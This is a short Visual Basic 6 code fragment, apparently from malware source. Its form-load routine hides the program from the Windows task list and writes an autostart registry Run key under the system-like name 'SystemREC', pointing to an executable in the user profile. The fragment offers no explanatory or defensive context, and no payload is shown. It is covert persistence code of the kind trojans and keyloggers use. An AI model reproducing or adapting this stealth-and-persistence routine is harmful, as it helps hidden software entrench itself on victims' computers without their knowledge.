Private Sub Form_Load()
    Dim r As String
    App.TaskVisible = False
    CLAVE = "SystemREC"
    VALOR = Environ("USERPROFILE") & "\systemrec.exe"
    Set wsc = CreateObject("wscript.shell")
    r = wsc.regread("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\SystemREC")
    If r <> VALOR Then
         wsc.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\" & CLAVE, VALOR
    End If
End Sub